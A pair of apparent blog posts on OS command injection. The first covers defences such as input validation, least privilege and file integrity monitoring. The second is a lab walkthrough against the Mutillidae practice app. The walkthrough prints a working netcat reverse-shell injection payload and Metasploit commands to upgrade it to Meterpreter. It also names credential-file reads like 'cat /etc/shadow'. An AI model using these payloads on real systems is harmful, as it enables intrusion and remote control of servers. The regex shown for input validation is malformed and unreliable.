Hey guys! It's been a few months since my last article, but here is my follow up post describing how to defend against Command Injection. We know that this vulnerability is a result of poor coding practices. In order to prevent system commands being passed from the web application to the operating system we can implement a few things: input validation, least privilege and web shell detection.

Input validation

Input validation is the verification of user data before it is passed through an application. This process ensures that a user can only input a limited range of data. One common way is to create a white-list of commands that have been pre-approved that should only be used with that application. Another strategy is to define a list of regular expressions that are allowed to be used in the application. Since we know only domain names should be used we can apply a regular expressions list similar to this /a-zA-Z0-9/. This allows only lowercase and uppercase letters A through Z as well as numbers 0 through 9 to be acceptable as user input.

Least privilege

The principle of least privilege is when a user of a computer system possesses the bare minimum functions to perform their necessary tasks. For example, a regular user on a Windows system should not have the ability to open a command prompt with administrative privileges; only a System or Network Administrator should because that is what their job entails. For this web application the www-data user should have not be allowed to execute system commands. Alternatively, you could white-list a single system command (nslookup) since that is the only function of the web application. All other system commands should be blocked in order to reduce the attack surface.

Web Shell Detection

One strategy to detect web shells on your web server would be File Integrity Monitoring (FIM). FIM is a security control establishes a baseline of specific files on the system and then looks for any deviation from that baseline. Security teams will be alerted on any anomalies and can be further analyzed to see if any malicious activity is present or not. SANS has compiled a list of file paths for both UNIX and Windows systems where you can deploy FIM.

One final thing to look for is suspicious shell commands. If you're employing least privilege techniques then it would be strange to see users on a web server running cat /etc/passwd or cat /etc/shadow conducting password reconnaissance. To understand what commands to look for, Mubix has a list of post-exploitation commands for Linux here.

Resources

• https://slideblast.com/web-application-security_595cab5b1723dd3a9a92cf53.html
• https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet
• https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
• https://www.us-cert.gov/ncas/alerts/TA15-314A

Hello Internet! I was first introduced to the command injection vulnerability when I took Peter Kim's Ethical Hacking 101 class last year in November. Prior to this I wasn't too familiar with web application vulnerabilities so I thought I would write about it to enhance my understanding.

The Setup

I wanted to setup the infrastructure to replicate a real world scenario as much as possible. Instead of putting all devices on the same network segment, I used PfSense to create two networks; 10.0.0.0/24 and 192.168.1.0/24. The attacker will use the WAN IP of 10.0.0.109 to access the Mutillidae web application which is on the internal LAN IP of 192.168.1.101. This configuration mimics most web servers since they use port forwarding in order for users to access their services over the Internet.

Discovery

We will use Nmap to perform some reconnaissance on our target to see what services are running and what ports are open.

Open up a terminal and enter the following: nmap -sV -O -v 10.0.0.109

The -sV switch will see what services/ports are running, the -O switch will detect what OS is running and the -v switch enables verbosity which provides more output information. From our results we can see that port 80(http) is open, using Apache as the web server, and Linux as the OS.

Let's see what it looks like through a web browser.

Since we already know we'll be using Mutillidae we can go ahead and navigate to the DNS Lookup web application.

Testing

The way this web application works is by passing on the command from the web application to the OS of the server it being hosted on. Without proper sanitization or input validation, arbitrary OS commands can be executed by anyone over the Internet. Vulnerabilities like this increase the attack surface and serves as another entry point into someone's network. Let's see what happens when we type an IP address in the web application.

We can see that the IP 8.8.8.8 is resolved to one of Google's DNS servers.

There are a few ways to test for OS command injection. We can use metacharacters which are special characters that hold a specific meaning within the context of a computer program. Let's try using & which separates multiple commands on one command line.

After inputting 8.8.8.8 & netstat the IP address is resolved again as well the netstat command which returned a list of active network connections on the web server. Let's keep digging to see what else we can find.

Awesome, after resolving the IP address it displays the current file directory as well!

Reverse Shell

Since we know the web server reaches out to the Internet in order resolve IP addresses to domain names we can infer that there are no egress firewall rules blocking any traffic leaving the internal. Let's try to get a reverse shell connecting back to our Kali box. A reverse shell is when you use the victim's machine to establish a connection to the attacking machine, commonly used to bypass firewalls. To accomplish this task we can utilize the "swiss army knife of hacking tools," netcat. Netcat can communicate over network connections using TCP or UDP protocols, be used as a network scanner, a proxy, and as a backdoor into a computer.

In order to setup a reverse shell using netcat we will setup a listener on our Kali box using this command: nc -lvp 4444

The nc initiates the netcat command, switches -lvp indicate "listen" mode, "verbose" mode and which "port" to listen on.

Now, on the vulnerable web server application we will input the following command: & nc 10.0.0.107 4444 -e /bin/bash

The & is the command separator, nc is the netcat command, 10.0.0.107 is the IP of the Kali box, 4444 is the port the Kali box is listening on for the reverse shell, and -e /bin/bash indicates to execute a bash shell.

Back at our Kali box we can see that we have an active connection from our netcat listener. We execute the ls command and it displays the same working directory that we saw earlier on vulnerable web application. We now have an active shell connection from the web server to our Kali box!

Bonus: Upgrade to Meterpreter Shell

Now that we have confirmed we can obtain a shell on our target; we can upgrade our current shell to a more feature rich Meterpreter shell using Meatsploit. Metasploit is an exploitation framework that has a variety of tools built into it. This is where you can start thinking about lateral movement and maintaining persistence within the network. Think of it as a set of Lego blocks where you can build your own exploits depending on the environment you are in.

Fire up metasploit with the msfconsole command.

Let's use the use exploit/multi/handler exploit.

We will set the listening IP to our Kali box: set LHOST 10.0.0.107 and the listening port to 4444: set LPORT 4444

We'll use the set payload linux/x86/shell/reverse_tcp payload

Now enter run to execute our listener. This is the same thing we did before with netcat except we are using the Metasploit framework.

We execute the same netcat command on the web application we did earlier & nc 10.0.0.107 4444 -e /bin/bash

We now have an active reverse shell connection again

Enter Ctl + z to put the current shell connection in the background and to get back to the msfconsole command line

Let's upgrade the current shell to a Meterpreter shell using sessions -u 1

To use our new Meterpreter shell enter sessions -i 2

Recap

I know this probably sounds a bit foreign to anyone who is not too familiar with hacking concepts, myself included. Let's break down what we accomplished.

• Performed information gathering on the target system using Nmap
• Discovered that it has a web server running on port 80
• Accessed the web application via web browser
• Did some basic testing for OS command injection on the web application
• Determined web application is vulnerable to running arbitrary commands on system
• Was able to establish a reverse shell connection from web server to my Kali box
• Was able to upgrade reverse shell to Meterpreter shell
• Can now think about maintaining persistence, lateral movement and further exploitation on other systems within the network

Resources

• https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
• https://www.sans.org/reading-room/whitepapers/covert/inside-out-vulnerabilities-reverse-shells-1663
• https://www.owasp.org/index.php/Command_Injection
• https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/